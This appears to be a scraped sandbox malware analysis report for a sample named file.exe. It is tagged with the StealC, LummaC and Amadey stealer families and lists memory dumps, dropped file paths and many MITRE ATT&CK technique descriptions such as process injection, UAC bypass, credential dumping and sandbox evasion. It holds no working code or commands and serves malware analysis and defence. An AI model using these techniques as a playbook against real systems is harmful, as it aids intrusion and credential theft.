Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: f46dcac06ae59145d098d7eb3cb32960d9415814b86af5150b2dca83b9a78080
Instruction ID: 4e238391463f41a3e24caab0437054e694c4c89a9ab67a757d6e00918064666d
Opcode Fuzzy Hash: f46dcac06ae59145d098d7eb3cb32960d9415814b86af5150b2dca83b9a78080
Instruction Fuzzy Hash: C1E08634444208B7CF25FA54D847FCC7BE8DB11B45F54C1F5B810312A29BB59798CA91

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\ECAEGHIJEHJDHIDHIDAE

C:\ProgramData\HIIEGHJJDGHCAKEBGIJK

C:\ProgramData\IDHIIJJJ

C:\ProgramData\IJKJDAFH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre